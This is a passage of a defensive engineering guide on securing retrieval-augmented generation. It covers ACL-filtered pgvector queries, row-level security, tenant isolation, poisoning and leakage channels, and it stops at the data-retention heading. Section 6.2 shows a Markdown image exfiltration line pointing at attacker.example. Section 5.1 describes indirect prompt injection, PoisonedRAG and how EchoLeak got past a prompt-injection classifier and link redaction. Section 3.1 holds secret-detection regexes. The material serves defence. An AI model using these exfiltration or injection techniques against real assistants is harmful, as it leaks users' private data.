Secure Retrieval-Augmented Generation: Access Control, Poisoning and Data Leakage
Retrieval puts your documents into the model's context. Security is mostly about deciding which documents, for whom, and what happens to them afterward.
Retrieval-augmented generation (RAG) is how most teams connect a language model to company knowledge: index the wiki, the ticket tracker, the shared drives and the code, then pull the most relevant chunks into the prompt when someone asks a question. It is also the easiest way to undo years of careful permission work. A document that only the finance team could open becomes a paragraph any employee can summon by asking the right question, and a support ticket written by a customer becomes text the model reads with the same weight as your runbooks.
None of this needs new security principles. It needs the existing ones (authorization at the data layer, least privilege, untrusted input handling, data lifecycle) applied to a pipeline that is easy to build without them. The OWASP Top 10 for LLM Applications gives vector and embedding weaknesses their own entry for this reason, and NIST's Generative AI Profile names indirect prompt injection through retrieved data as an information security risk. This guide covers the design decisions that matter, with working PostgreSQL and pgvector code for the parts that are easiest to get wrong.
Table of Contents
- 1. Why RAG Breaks Existing Permissions
- 2. Enforcing Authorization at Retrieval Time
- 3. Keeping ACLs in Sync With the Source
- 4. Never Rely on the Prompt to Hide Data
- 5. Poisoned Documents and Indirect Prompt Injection
- 6. Leakage Channels Beyond the Answer
- 7. Scrubbing PII and Secrets at Ingestion
- 8. Data Residency and Retention of Vectors
- 9. Evaluating and Monitoring for Leakage
- 10. Common Mistakes
- 11. How SR&D Can Help
- References
1. Why RAG Breaks Existing Permissions
1.1 One Index, Many Permission Models
Every source system you index already has an authorization model. Confluence has space permissions and page restrictions. Google Drive has owners, editors, viewers, shared drives and link sharing. Jira has project roles and issue security levels. GitHub has organization, team and repository permissions. Each is enforced by the source system when someone opens a document.
A typical first RAG build throws all of that away. An ingestion job runs with a service account that can read everything, splits every document into chunks, embeds them, and writes them into one shared index. At query time the application embeds the question, asks the index for the nearest chunks, and passes them to the model. The service account's view of the world has become every user's view of the world.
No attacker is needed. An employee asking "what are the salary bands for senior engineers?" gets an answer drawn from the HR compensation sheet because it is the most relevant text in the index. Nobody bypassed a control; the control was never carried across. For customer-facing features, one index holding every customer's content makes tenant isolation a property of the retrieval query, not of the storage.
1.2 Where Authorization Has to Live
The rule that fixes most of this is simple to state: the retrieval layer must return only chunks the requesting user could open in the source system right now, and it must enforce that before any chunk leaves the datastore. Everything downstream (the reranker, the prompt, the model, the logs, the cache, the response) should only ever see authorized content.
That rules out three tempting shortcuts:
- Filtering in the prompt. Telling the model "only use documents the user has access to" is not a control (section 4).
- Filtering after retrieval in application code. Fetching the global top 20 and dropping the unauthorized ones means unauthorized content has already left the database (section 2.3).
- Trusting a scope sent by the client. If the browser sends
tenant_idor a list of groups, an attacker can send different ones. Scopes come from the server-side session.
1.3 The Threats in One Table
| Threat | What goes wrong | Primary control | Section |
|---|---|---|---|
| Overshared retrieval | Users retrieve chunks from documents they cannot open | ACL filter inside the retrieval query | 2 |
| Stale permissions | Revoked or deleted documents stay retrievable | Event-driven ACL sync plus reconciliation | 3 |
| Cross-tenant leakage | One customer's content answers another's question | Tenant scoping in the index, or separate indexes | 2.6 |
| Prompt-based hiding | Sensitive context is in the prompt with an instruction not to reveal it | Keep it out of the context entirely | 4 |
| Poisoned documents | Attacker-written text steers answers or carries instructions | Source trust tiers, ingestion controls, limited output capabilities | 5 |
| Side-channel leakage | Citations, rendered images, logs, caches or vectors expose content | Apply the same ACL to every derived artifact | 6 |
| Sensitive data in the corpus | Secrets and PII are indexed and become retrievable | Scrub before embedding | 7 |
| Retention drift | Deleted source data survives in vectors, backups and caches | Lifecycle controls on every copy | 8 |
2. Enforcing Authorization at Retrieval Time
2.1 Carry the ACL on Every Row
The practical pattern is to store, alongside every chunk, the identifiers of the principals (users and groups) allowed to read the document it came from, plus a tenant identifier. The retrieval query then filters on those columns in the same statement that performs the similarity search.
A few design choices make this workable:
- Store groups, not expanded user lists. If a page is readable by the
financegroup, storegroup:finance, not the 300 user IDs in it. Group membership then changes in your identity provider without touching the index, and revoking a person's group membership takes effect as soon as your application stops resolving them into that group. - Namespace the identifiers. Prefix them (
user:,group:, and a source or directory prefix if you have several identity systems) so a user ID can never collide with a group ID. - Put the ACL on every row that carries content or metadata. Titles, URLs and snippets are sensitive too. If a document table holds titles, it needs the same filter as the chunk table.
- Denormalize onto the chunk. Copy the document's ACL onto each chunk so the filter applies to the table being searched. A join to a permissions table at query time is possible, but it makes the planner's job harder and the policy easier to get wrong.
Here is a schema that follows those rules, for PostgreSQL with the pgvector extension. The code in this guide was tested on PostgreSQL 17, pgvector 0.8.7, psycopg 3.3 and gitleaks 8.30.
CREATE EXTENSION IF NOT EXISTS vector;
CREATE TABLE rag_documents (
id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
tenant_id uuid NOT NULL,
source text NOT NULL, -- 'confluence', 'gdrive', 'jira', ...
source_id text NOT NULL, -- the document's id in that system
source_url text NOT NULL,
title text NOT NULL,
trust_tier text NOT NULL, -- 'curated', 'internal', 'external'
last_editor text,
allowed text[] NOT NULL, -- user and group ids with read access
acl_synced_at timestamptz NOT NULL DEFAULT now(),
UNIQUE (tenant_id, source, source_id)
);
CREATE TABLE rag_chunks (
id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
document_id bigint NOT NULL REFERENCES rag_documents (id) ON DELETE CASCADE,
tenant_id uuid NOT NULL,
allowed text[] NOT NULL, -- copied from the document, kept in step
content text NOT NULL,
embedding vector(1536) NOT NULL -- match your embedding model
);
CREATE INDEX ON rag_chunks USING hnsw (embedding vector_cosine_ops);
CREATE INDEX ON rag_chunks USING gin (allowed);
CREATE INDEX ON rag_chunks (tenant_id);
CREATE INDEX ON rag_chunks (document_id);
The ON DELETE CASCADE matters: deleting a document must delete its chunks in the same transaction, with no window where orphaned chunks are still searchable. The trust_tier and last_editor columns support the poisoning controls in section 5.
2.2 Resolve Principals on the Server
The filter is only as good as the principal list you pass into it. Build that list on the server for every request:
- Take the user identity from the authenticated session (an OIDC token you validated, a session cookie you issued). Never from a request parameter.
- Resolve the user's groups from your identity provider or directory, including nested groups if your sources grant access to parent groups. Cache the result for a short time if you must, and treat the cache lifetime as your revocation delay.
- Map identities across systems where they differ. A Google Workspace group, an Entra ID group and a GitHub team are different principals even when they have the same name.
- Add the tenant from the session, not from the request.
If any step fails (directory timeout, unmapped user), return no results rather than falling back to a broader scope.
2.3 Pre-Filtering Versus Post-Filtering
"Pre-filtering" and "post-filtering" mean two different things depending on who is talking, and the difference matters.
Inside a vector engine, the terms describe when the filter runs relative to the approximate nearest neighbor (ANN) search. Azure AI Search documents three modes: preFilter applies the filter during HNSW graph traversal and returns k results whenever k matches exist; postFilter applies it to each shard's unfiltered top results; and strictPostFilter, a preview feature, applies it to the global unfiltered top results. The post-filter modes can return fewer matches than exist, or none, when the filter is selective.
pgvector does not filter during traversal. With an HNSW index, the WHERE clause is applied to the candidates the index scan returns, and the README gives a concrete example: "If a condition matches 10% of rows, with HNSW and the default hnsw.ef_search of 40, only 4 rows will match on average." Iterative index scans (section 2.4) work around this by scanning further until enough rows pass the filter or hnsw.max_scan_tuples is reached, so they can still return fewer than k rows.
| Pattern | Unauthorized content leaves the datastore? | Effect on results |
|---|---|---|
Filter during traversal (Azure preFilter) | No | k results if k matches exist; cost rises with filter selectivity |
| Filter after the scan, then scan further (pgvector iterative scan) | No | Usually k results, but can return fewer; latency varies with how many filtered-out vectors sit near the query |
Filter on index candidates only (Azure postFilter, pgvector without iterative scans) | No | May return fewer than k results |
Fetch unfiltered top k, drop unauthorized rows in application code | Yes: into app memory, rerankers, traces and logs | Often returns few or no results for users with narrow access |
| Pass everything to the model with instructions | Yes, into the prompt | Not a control |
Filtering in the engine, whether through in-query predicates or row-level security, keeps unauthorized content inside the database. It does not remove a timing side channel in a shared index. Because pgvector filters after the scan and keeps scanning until enough rows pass, how long a query takes depends on how many vectors the caller cannot see sit near the query. OWASP LLM09:2026 names timing, alongside result counts and score distributions, as a way for one tenant to learn the existence and rough subject of another tenant's documents. Between teams in one company that may be acceptable; between customers it is a reason to give each tenant its own index (section 2.6).
Application-level post-filtering is the pattern to avoid outright. Unauthorized chunks leave the database, and the number of results a user gets back reflects documents they cannot see. OWASP's guidance is to apply the tenant scope inside the index query and to keep similarity scores on the server.
2.4 A Filtered Query in pgvector
With the schema above, retrieval is one statement. The tenant and principal filters sit in the same WHERE clause as the similarity ordering:
SELECT c.id, c.document_id, d.title, d.source_url, c.content
FROM rag_chunks c
JOIN rag_documents d ON d.id = c.document_id
WHERE c.tenant_id = $1
AND c.allowed && $2::text[] -- any of the caller's principals
ORDER BY c.embedding <=> $3::vector -- cosine distance
LIMIT 8;
&& is PostgreSQL's array overlap operator, so a chunk matches if any of the caller's principals appears in its ACL. <=> is pgvector's cosine distance operator, matching the vector_cosine_ops index.
To recover rows lost to filtering, enable iterative index scans, added in pgvector 0.8.0. They scan more of the HNSW index until enough rows pass the filter or a scan limit (hnsw.max_scan_tuples, default 20,000) is reached, so a query can still return fewer than k rows. Set it per transaction:
from collections.abc import Sequence
import psycopg
RETRIEVE_SQL = """
SELECT c.id, c.document_id, d.title, d.source_url, c.content
FROM rag_chunks c
JOIN rag_documents d ON d.id = c.document_id
WHERE c.tenant_id = %(tenant)s
AND c.allowed && %(principals)s::text[]
ORDER BY c.embedding <=> %(qvec)s::vector
LIMIT %(k)s
"""
def retrieve(conn: psycopg.Connection, tenant_id: str, principals: list[str],
query_embedding: Sequence[float], k: int = 8) -> list[tuple]:
"""Runs as rag_app. principals = the verified user id plus group ids."""
if not principals:
return []
qvec = "[" + ",".join(repr(float(v)) for v in query_embedding) + "]"
with conn.transaction():
# Transaction-scoped: the values vanish at COMMIT, so a pooled
# connection cannot carry one user's identity into the next request.
conn.execute(
"SELECT set_config('rag.tenant_id', %s, true),"
" set_config('rag.principals', %s, true)",
(tenant_id, ",".join(principals)),
)
conn.execute("SET LOCAL hnsw.iterative_scan = strict_order")
return conn.execute(
RETRIEVE_SQL,
{"tenant": tenant_id, "principals": principals, "qvec": qvec, "k": k},
).fetchall()
This uses psycopg 3. Open the connection with psycopg.connect(dsn, autocommit=True): in psycopg's default non-autocommit mode, a transaction() block that starts inside an already open implicit transaction only manages a savepoint and does not commit when it exits. The set_config calls feed the row-level security policies in the next section; the explicit WHERE filters are still there so the query is correct on its own and the planner can use the filter columns.
The query does not return the distance. Clients do not need raw similarity scores, and they help an attacker probe the index.
Check the plan with EXPLAIN ANALYZE against realistic data. For broad filters you should see an index scan on the HNSW index with the ACL conditions applied as a filter; for narrow ones the planner may choose an exact scan driven by the other indexes, which is also correct and often faster. The pgvector README covers partial indexes and partitioning for cases where a few filter values dominate.
2.5 Row-Level Security as a Backstop
The query above is correct, but it relies on every code path remembering the filter. PostgreSQL row-level security (RLS) moves the rule into the database, so a forgotten WHERE clause, a debugging query or a new feature returns nothing instead of everything:
-- The application connects as rag_app. The ingestion job connects as the
-- tables' owner, which RLS does not apply to unless FORCE is set.
CREATE ROLE rag_app LOGIN PASSWORD 'change-me';
GRANT SELECT ON rag_documents, rag_chunks TO rag_app;
ALTER TABLE rag_documents ENABLE ROW LEVEL SECURITY;
ALTER TABLE rag_chunks ENABLE ROW LEVEL SECURITY;
CREATE POLICY rag_documents_read ON rag_documents FOR SELECT TO rag_app
USING (
tenant_id = NULLIF(current_setting('rag.tenant_id', true), '')::uuid
AND allowed && string_to_array(current_setting('rag.principals', true), ',')
);
CREATE POLICY rag_chunks_read ON rag_chunks FOR SELECT TO rag_app
USING (
tenant_id = NULLIF(current_setting('rag.tenant_id', true), '')::uuid
AND allowed && string_to_array(current_setting('rag.principals', true), ',')
);
Notes on how this behaves:
current_setting(name, true)returns NULL instead of raising an error when the setting was never defined. Once a session has set it locally and the transaction has ended, it returns an empty string, which is why the tenant comparison wraps it inNULLIF. In both cases the policy matches no rows. It fails closed.set_config(..., true)scopes the value to the current transaction, so pooled connections do not leak one user's principals into the next request. Session-scopedSETwould.- The PostgreSQL documentation is explicit that superusers and roles with
BYPASSRLSalways bypass row security, and that table owners do too unless the table usesFORCE ROW LEVEL SECURITY. The application role must be neither. - The principal IDs must not contain commas, because
string_to_arraysplits on them. Opaque IDs from your identity provider satisfy this.
RLS protects against your own mistakes. It does not protect against a compromised application that sets the session values to whatever it likes. The identity still has to come from verified authentication.
2.6 Multi-Tenant Isolation
For customer-facing features, decide how hard the wall between tenants needs to be:
| Model | Isolation | Offboarding a tenant | Trade-offs |
|---|---|---|---|
| Shared index, tenant column in the filter | Logical; one missing filter leaks everything | Delete rows, then vacuum and wait for backups to expire | Simplest; relies on query discipline |
| Shared index with RLS on tenant | Logical, enforced by the database; tenants still share one approximate index | Same as above | Fine for teams inside one company; tenants affect each other's recall and latency, and timing leaks |
| List partition or table per tenant (pgvector), namespace per tenant (Pinecone) | Each tenant gets its own vector index | Drop the partition, table or namespace | The default for customer-facing multi-tenancy |
| Database per tenant | Separate storage and credentials | Drop the database | Operational overhead per tenant; required by some contracts |
For customer-facing features on PostgreSQL, partition by tenant. The pgvector README warns that tenants sharing an approximate index can affect each other's recall and speed, and recommends list partitioning or separate tables for tenant isolation. With list partitioning, an index created on the parent table is created on every partition, each tenant's queries search only their own HNSW graph, and the primary key has to include the partition key:
CREATE TABLE rag_chunks (
id bigint GENERATED ALWAYS AS IDENTITY,
tenant_id uuid NOT NULL,
document_id bigint NOT NULL,
allowed text[] NOT NULL,
content text NOT NULL,
embedding vector(1536) NOT NULL,
PRIMARY KEY (tenant_id, id)
) PARTITION BY LIST (tenant_id);
CREATE INDEX ON rag_chunks USING hnsw (embedding vector_cosine_ops);
CREATE INDEX ON rag_chunks USING gin (allowed);
-- One partition per customer, created at onboarding.
CREATE TABLE rag_chunks_t_0b7e4c2a PARTITION OF rag_chunks
FOR VALUES IN ('0b7e4c2a-6f1d-4c55-9a7e-3f2d8c1b9e40');
The query from section 2.4 is unchanged: with tenant_id = $1 in the WHERE clause, PostgreSQL prunes the other partitions at execution time. Keep the RLS policies as well; partitioning separates the indexes, and RLS still catches a query that forgets the tenant.
Pinecone's guide reaches the same conclusion with namespaces: one per tenant, each stored separately, queried one at a time, and deleted to offboard the tenant. It adds that filtering a shared namespace by a tenant field still costs a scan over every tenant's records.
Hybrid search adds one more shared signal. Azure AI Search's security-filter page explains that its filters decide which documents come back, while BM25 keyword scores are still computed from statistics over the whole index. In a shared hybrid index, then, term frequencies in other tenants' documents nudge the scores each tenant sees. It is a weak channel, and per-tenant indexes close it. OWASP's 2026 guidance favors physically separate indexes per tenant or trust zone for sensitive workloads.
3. Keeping ACLs in Sync With the Source
Retrieval-time filtering is only correct if the ACL stored with each chunk matches the source's current permissions. The index is a cache, and permission changes are cache invalidation.
3.1 Ingestion That Attaches ACL Metadata
The ingestion job fetches each document together with its effective read permissions from the source API, then writes the document and its chunks in one transaction. Two rules: if the connector cannot determine who can read a document, do not index it; and replace a document's chunks rather than appending to them.
import re
from collections.abc import Callable, Sequence
import psycopg
# High-confidence secret formats. A maintained ruleset (gitleaks, for
# example) covers far more; this shows where the check sits.
SECRET_PATTERNS = [
re.compile(r"\bAKIA[0-9A-Z]{16}\b"), # AWS access key ID
re.compile(r"\bgh[pousr]_[A-Za-z0-9]{36,}\b"), # GitHub tokens
re.compile(r"\bxox[abprs]-[A-Za-z0-9-]{10,}\b"), # Slack tokens
re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----.*?-----END [A-Z ]*PRIVATE KEY-----", re.S),
]
def scrub(text: str) -> tuple[str, int]:
hits = 0
for pattern in SECRET_PATTERNS:
text, n = pattern.subn("[REDACTED SECRET]", text)
hits += n
return text, hits
def to_vector(values: Sequence[float]) -> str:
return "[" + ",".join(repr(float(v)) for v in values) + "]"
def ingest_document(
conn: psycopg.Connection,
tenant_id: str,
doc: dict,
chunks: list[str],
embed: Callable[[str], Sequence[float]],
) -> int | None:
"""Index one source document with its read ACL. Runs as the table owner."""
allowed = sorted(set(doc["readers"])) # effective user and group ids
if not allowed:
# Nobody can read it, or the connector could not tell: do not index.
delete_document(conn, tenant_id, doc["source"], doc["source_id"])
return None
with conn.transaction():
doc_id = conn.execute(
"""
INSERT INTO rag_documents (tenant_id, source, source_id, source_url,
title, trust_tier, last_editor, allowed)
VALUES (%s, %s, %s, %s, %s, %s, %s, %s)
ON CONFLICT (tenant_id, source, source_id) DO UPDATE
SET source_url = EXCLUDED.source_url, title = EXCLUDED.title,
trust_tier = EXCLUDED.trust_tier,
last_editor = EXCLUDED.last_editor,
allowed = EXCLUDED.allowed, acl_synced_at = now()
RETURNING id
""",
(tenant_id, doc["source"], doc["source_id"], doc["url"],
doc["title"], doc["trust_tier"], doc.get("last_editor"), allowed),
).fetchone()[0]
# Replace, never append: stale chunks keep stale ACLs.
conn.execute("DELETE FROM rag_chunks WHERE document_id = %s", (doc_id,))
for text in chunks:
clean, _ = scrub(text) # scrub before embedding, not after
conn.execute(
"""
INSERT INTO rag_chunks (document_id, tenant_id, allowed, content, embedding)
VALUES (%s, %s, %s, %s, %s::vector)
""",
(doc_id, tenant_id, allowed, clean, to_vector(embed(clean))),
)
return doc_id
embed is your embedding client, and doc["readers"] comes from the connector. Getting readers right is the hard part of the whole system: it must be the document's effective permissions, including inheritance from parent spaces or folders and access granted through sharing links, not just the explicit entries on the document. The scrub call is covered in section 7.
3.2 Permission Changes and Revocation
Many source platforms offer webhooks or change feeds. Check whether they report permission changes, not only content edits, and subscribe where they do. Apply each change to the document row and all of its chunks in one transaction:
def update_acl(conn: psycopg.Connection, tenant_id: str, source: str,
source_id: str, readers: list[str]) -> None:
"""Apply a permission change from the source system."""
allowed = sorted(set(readers))
if not allowed:
delete_document(conn, tenant_id, source, source_id)
return
with conn.transaction():
row = conn.execute(
"""
UPDATE rag_documents SET allowed = %s, acl_synced_at = now()
WHERE tenant_id = %s AND source = %s AND source_id = %s
RETURNING id
""",
(allowed, tenant_id, source, source_id),
).fetchone()
if row:
conn.execute("UPDATE rag_chunks SET allowed = %s WHERE document_id = %s",
(allowed, row[0]))
Webhooks get dropped, so do not rely on them alone. Run a periodic full permission sync, and record when each document's ACL was last confirmed (acl_synced_at in the schema). That column lets you set and measure a revocation target, such as "a permission removed in the source stops being retrievable within 15 minutes", and lets you choose to fail closed: if a source's sync has not succeeded for longer than your target, exclude its documents from retrieval until it recovers.
3.3 Deletion and Reconciliation
Deletion is the same problem with higher stakes. A deleted document should stop being retrievable as fast as a revoked one.
def delete_document(conn: psycopg.Connection, tenant_id: str, source: str,
source_id: str) -> None:
with conn.transaction():
conn.execute(
"DELETE FROM rag_documents WHERE tenant_id = %s AND source = %s AND source_id = %s",
(tenant_id, source, source_id),
) # chunks go with it: ON DELETE CASCADE
Deletion events are also unreliable, so reconcile periodically: list every document ID the source still has, and delete what the index has that the source does not. Guard the sweep, because an API failure that returns an empty or truncated listing looks exactly like a mass deletion:
def reconcile(conn: psycopg.Connection, tenant_id: str, source: str,
live_ids: list[str], max_drop: float = 0.2) -> int:
"""Delete indexed documents that no longer exist in the source."""
with conn.transaction():
indexed = conn.execute(
"SELECT count(*) FROM rag_documents WHERE tenant_id = %s AND source = %s",
(tenant_id, source),
).fetchone()[0]
gone = conn.execute(
"""
SELECT count(*) FROM rag_documents
WHERE tenant_id = %s AND source = %s AND NOT (source_id = ANY(%s))
""",
(tenant_id, source, live_ids),
).fetchone()[0]
# A failed or truncated listing looks like a mass deletion. Stop and
# page someone rather than emptying the index.
if indexed and gone / indexed > max_drop:
raise RuntimeError(f"{source}: {gone} of {indexed} documents missing from listing")
conn.execute(
"""
DELETE FROM rag_documents
WHERE tenant_id = %s AND source = %s AND NOT (source_id = ANY(%s))
""",
(tenant_id, source, live_ids),
)
return gone
Deleting the row is not the end of the data's life. Section 8 covers what remains on disk, in backups and in caches.
3.4 Permission Models That Do Not Flatten Cleanly
A list of allowed principals is an allow-list model. Some sources are richer than that:
- Deny entries. File systems and some document platforms support explicit denies that override group grants. An allow list cannot express "the finance group except Alice". Either compute effective access per user at ingestion (expensive, and it brings back the user-list problem), or exclude such documents from the index.
- Link sharing. "Anyone in the organization with the link" usually means anyone who has been sent the link, not everyone in the organization. Treating it as an organization-wide grant makes the assistant a link-discovery tool. Treating it as no grant is the conservative choice.
- Item-level security inside a document. A ticket can be visible while one of its comments is restricted; a spreadsheet can have a protected tab. Chunk at the boundary where permissions change, and carry the narrower ACL on those chunks. OWASP's 2026 guidance makes the same point: a mostly public document can contain a confidential paragraph.
- Time-bound or conditional access. Guest access that expires, access conditional on device posture or network location. These rarely map to a static ACL. Exclude, or re-check at query time.
For the hardest cases, add a final check against the source: after retrieval, ask the source system's permission API whether the user can read each of the few documents you are about to use, and drop any that fail. It adds latency, so reserve it for high-sensitivity sources.
4. Never Rely on the Prompt to Hide Data
A common pattern in early builds is to retrieve broadly and then instruct the model: "The following context may include confidential documents. Do not reveal information from documents the user is not authorized to see." This does not work, for reasons that are structural, not a matter of prompt quality.
The model cannot verify who the user is or what they may see, so it is asked to enforce a policy it has no inputs for. The instruction and the attack arrive through the same channel, and models do not reliably keep them apart. Even when the model complies, the content has already been sent to the model provider and written to your traces.
OWASP's 2026 entry on hidden context exposure states the principle directly: "Critical controls such as privilege separation, authorization bounds checks, and similar must not be delegated to the LLM, whether through the system prompt or another mechanism." Its guidance is to assume anything in the model's context could be shown to the user.
The working rule follows: if the user may not see it, it does not go into the context. Instructions to the model are useful for tone, format and refusal behavior. They are not an authorization layer.
5. Poisoned Documents and Indirect Prompt Injection
Access control decides who reads the corpus. Poisoning is about who writes it.
5.1 How Retrieved Text Becomes Instructions
Greshake and colleagues showed in 2023 that an application which feeds retrieved content to a model cannot cleanly separate that content from its own instructions. Anyone who can plant text where the application will later fetch it can steer the model remotely, without ever using the application themselves. NIST's Generative AI Profile (NIST AI 600-1) lists this attack, indirect prompt injection, among the information security risks of generative AI.
Two research results set expectations:
- PoisonedRAG (Zou et al., USENIX Security 2025) showed that injecting five crafted texts per target question into a knowledge base of millions of texts achieved about a 90% attack success rate in making the model give an attacker-chosen answer, and that the defenses the authors evaluated were insufficient.
- EchoLeak (CVE-2025-32711, Microsoft 365 Copilot) was a zero-click chain in which a single crafted email, once retrieved into the assistant's context, led to data exfiltration. The write-up by Reddy and Gujral describes it evading Microsoft's prompt-injection classifier, using reference-style Markdown to get past link redaction, and abusing auto-fetched images and an allow-listed Microsoft Teams endpoint to send data out.
OWASP's 2026 edition separates the two ideas usefully. Indirect prompt injection through retrieved content falls under LLM01 (Prompt Injection). LLM09 (Vector and Embedding Weaknesses) covers attacks that exploit similarity search itself, such as content crafted to sit close to a target query in embedding space, or a "blocker" document engineered to make the model refuse a specific question. Many of these need no malicious instructions at all.
5.2 Who Can Write to Your Sources
The most useful exercise is to list, for every source you index, who can put text into it:
| Source | Who can write | Treat as |
|---|---|---|
| Curated knowledge base with reviewed changes | A small set of editors | Trusted, still verify |
| Internal wiki with open editing | Every employee and every compromised employee account | Internal, unreviewed |
| Ticket tracker with customer portal | Customers and anyone who can file a ticket | External |
| Shared inbox, email archives | Anyone on the internet | External |
| Code repositories | Contributors, dependency authors, pull request authors | Mixed |
| Crawled web pages, vendor docs | Third parties | External |
Anything in the "external" rows is attacker-controllable by design. Indexing support tickets is reasonable; giving a customer-written ticket the same weight and capabilities as your runbooks is not.
5.3 Provenance and Ingestion Controls
Controls that hold up:
- Record provenance on every document: source, source ID, last editor, ingestion time and a trust tier (the
trust_tierandlast_editorcolumns in the schema). This lets you exclude a tier from sensitive workflows, show it to users, and find and purge everything a compromised account touched. - Segregate by trust tier. OWASP recommends not mixing external, internal and confidential content in one index without hard isolation. At minimum, let callers restrict retrieval to curated sources for high-stakes questions, and label external content in the prompt and the UI.
- Normalize text at extraction. Strip zero-width characters, HTML comments, hidden or white-on-white text and invisible spreadsheet cells before chunking. OWASP's 2025 entry on vector and embedding weaknesses uses a resume with hidden instructions, read by a RAG-based screening tool, as its first example.
- Allow-list sources. Index the spaces, projects and folders you chose, not everything the service account can reach.
- Watch ingestion for anomalies. Content built to be retrieved for many questions tends to embed close to a wide range of popular queries at once. OWASP's 2026 entry suggests alerting on new vectors with that profile.
None of these makes injection impossible. Delimiting retrieved text and telling the model to treat it as data helps at the margins, but no current technique reliably prevents a model from following instructions in its context.
5.4 Limiting What an Injection Can Do
Because injection cannot be fully prevented, design so that a successful one achieves little:
- Retrieve only what the current user can read. Injected text then can only exfiltrate data the user could already see, which is bad but bounded.
- Close the output channels in section 6.2, so the model cannot send data anywhere by writing a URL.
- Keep retrieval assistants free of write-capable tools, or require explicit user confirmation for any action taken after untrusted content entered the context. Agent and tool design is its own topic; the principle here is that retrieved text alone must never trigger a privileged action.
- Show sources with every answer, including their trust tier, so users can judge where a claim came from.
6. Leakage Channels Beyond the Answer
The generated answer is the obvious output. Several others carry the same content and often escape the controls applied to it.
6.1 Citations, Titles and Snippets
Citations are a feature users want, and they are a data channel. A citation list that includes "2027 Reduction in Force - Draft" leaks the most sensitive fact in that document even if no text from it reaches the answer. Snippets, previews and "related documents" panels are worse.
Build citations only from the rows the retrieval query returned, under the same ACL filter. Never look up titles or URLs by document ID in a separate, unfiltered query. With RLS on the documents table, as in section 2.5, that mistake returns nothing instead of leaking.
6.2 Rendered Markdown, Images and Links
If your UI renders model output as Markdown, then the model can make the user's browser send requests. An image tag pointing at https://attacker.example/pixel.png?d=<data> is fetched the moment the answer renders, with whatever the model put in the query string. EchoLeak used exactly this path, and OWASP's 2026 entry on improper output handling recommends disabling auto-rendering of Markdown images, link previews and iframes by default, or restricting fetches to an explicit allow list of origins.
Filter after parsing, not with regular expressions over the raw text. EchoLeak's reference-style Markdown slipped past redaction that recognized only the inline form. In React, react-markdown (10.x at the time of writing) can drop images and constrain links on the parsed tree:
import Markdown, { defaultUrlTransform } from 'react-markdown'
// Hosts that answers may link to: your own document systems, nothing else.
const LINK_HOSTS = new Set(['wiki.example.com', 'drive.example.com'])
function linkPolicy(url: string): string {
const safe = defaultUrlTransform(url) // drops javascript:, data:, and similar
try {
return LINK_HOSTS.has(new URL(safe).hostname) ? safe : ''
} catch {
return '' // relative or malformed: no link
}
}
export function Answer({ text }: { text: string }) {
return (
<Markdown skipHtml disallowedElements={['img']} urlTransform={linkPolicy}>
{text}
</Markdown>
)
}
This removes inline and reference-style images and raw HTML, and turns links to unlisted hosts into empty href attributes. Back it with a Content Security Policy that limits img-src and connect-src to your own origins, and audit every allow-listed domain: EchoLeak went through an allow-listed endpoint that could fetch arbitrary URLs. The same care applies anywhere else output is rendered: chat integrations that unfurl links, email notifications, and exported reports.
6.3 Logs and Traces
LLM observability and tracing tools typically capture full prompts and completions, and in a RAG system the prompt contains the retrieved chunks. A trace store that every engineer can search now holds an unfiltered sample of every document anyone retrieved, with no ACL.
Options, in rough order of preference:
- Log chunk IDs, document IDs, the principal set, tenant and policy version, not chunk text. You can reconstruct what was retrieved from the IDs, under access control, when you need to.
- If you must log content, restrict access to the trace store to the smallest group that needs it, give it a short retention period, and include it in your data inventory.
- Review your model provider's logging and retention terms for prompts, and the same for any third-party evaluation or tracing service.
OWASP's 2026 guidance asks for immutable logs of retrieval activity: tenant scope, query, returned IDs and similarity scores. Those logs are what make section 9's monitoring possible, so keep them, just without the document text. Protect them anyway: the logged query text can itself be sensitive, since users ask about the things they are working on.
6.4 Caches
Semantic caches, which return a stored answer when a new question is similar enough to an old one, are a cross-user leak unless the cache key includes everything that determined the answer. Two users asking the same question with different permissions should get different answers, so the key must include the tenant and a fingerprint of the principal set (or the set of document IDs that were retrieved), not just the question's embedding. Invalidate entries when any underlying document's ACL changes or it is deleted.
OWASP's 2026 entry also describes semantic cache poisoning: content crafted to sit just over the similarity threshold so one poisoned entry is served for many related questions. Scope caches narrowly and keep their lifetimes short.
The same applies to result caches, reranker caches and conversation memory.
6.5 Embeddings Are Not Anonymized Data
Vectors are not opaque numbers that are safe to share or store with weaker controls than the documents:
- Song and Raghunathan (2020) recovered roughly 50 to 70 percent of input words from popular sentence embeddings and showed that attributes such as authorship could be inferred from them.
- Morris and colleagues (Vec2Text, EMNLP 2023) recovered 92% of 32-token inputs exactly through iterative correction, and recovered full names from embeddings of clinical notes.
- Li, Xu and Song (Findings of ACL 2023) reconstructed coherent sentences from sentence embeddings with a generative decoder.
OWASP's 2026 entry points to newer inversion methods that work without training against the specific encoder. Its conclusion is that an exposed vector store or backup should be handled as a breach of the documents behind it, not as a lesser incident.
Practically: give the vector store the same classification, encryption, access control and breach-notification treatment as the source data; do not return embeddings in API responses; and do not send them to services you would not send the documents to. The same holds in reverse for query embeddings, which encode what users asked.
7. Scrubbing PII and Secrets at Ingestion
Wikis, tickets and repositories contain secrets: API keys pasted into troubleshooting pages, connection strings in incident tickets, private keys committed and later "removed". Once indexed, these become answerable questions. They also become embeddings, which section 6.5 shows can be inverted, so scrub before you embed, not after.
The scrub function in section 3.1 shows where the check sits, with a few high-confidence patterns. In production, use a maintained ruleset. For a one-off audit of an exported corpus before the first ingestion, gitleaks can scan a directory outside of git:
gitleaks dir -v --redact --report-format json --report-path gitleaks-report.json ./corpus-export
The dir subcommand needs gitleaks 8.19.0 or later.
When the scanner finds a secret, redact it in the chunk, record the finding with the document ID, and notify the document owner. The secret is exposed in the source too and needs rotating, and the index is not the place to fix it.
PII is harder because it is often the point of the document: a customer ticket is about a customer. Decide per source:
- Drop fields that never help answers (government ID numbers, payment card numbers, dates of birth).
- Mask identifiers where the content is useful without them. Open-source tools such as Presidio detect and anonymize common PII entities in text, and OWASP's 2025 entry on sensitive information disclosure lists sanitization, tokenization and redaction among its mitigations.
- Keep PII where the use case requires it, and rely on the ACL, retention and residency controls to protect it.
Detection is probabilistic. Measure it on a sample of your own data before trusting it, and treat it as reducing exposure, not eliminating it.
8. Data Residency and Retention of Vectors
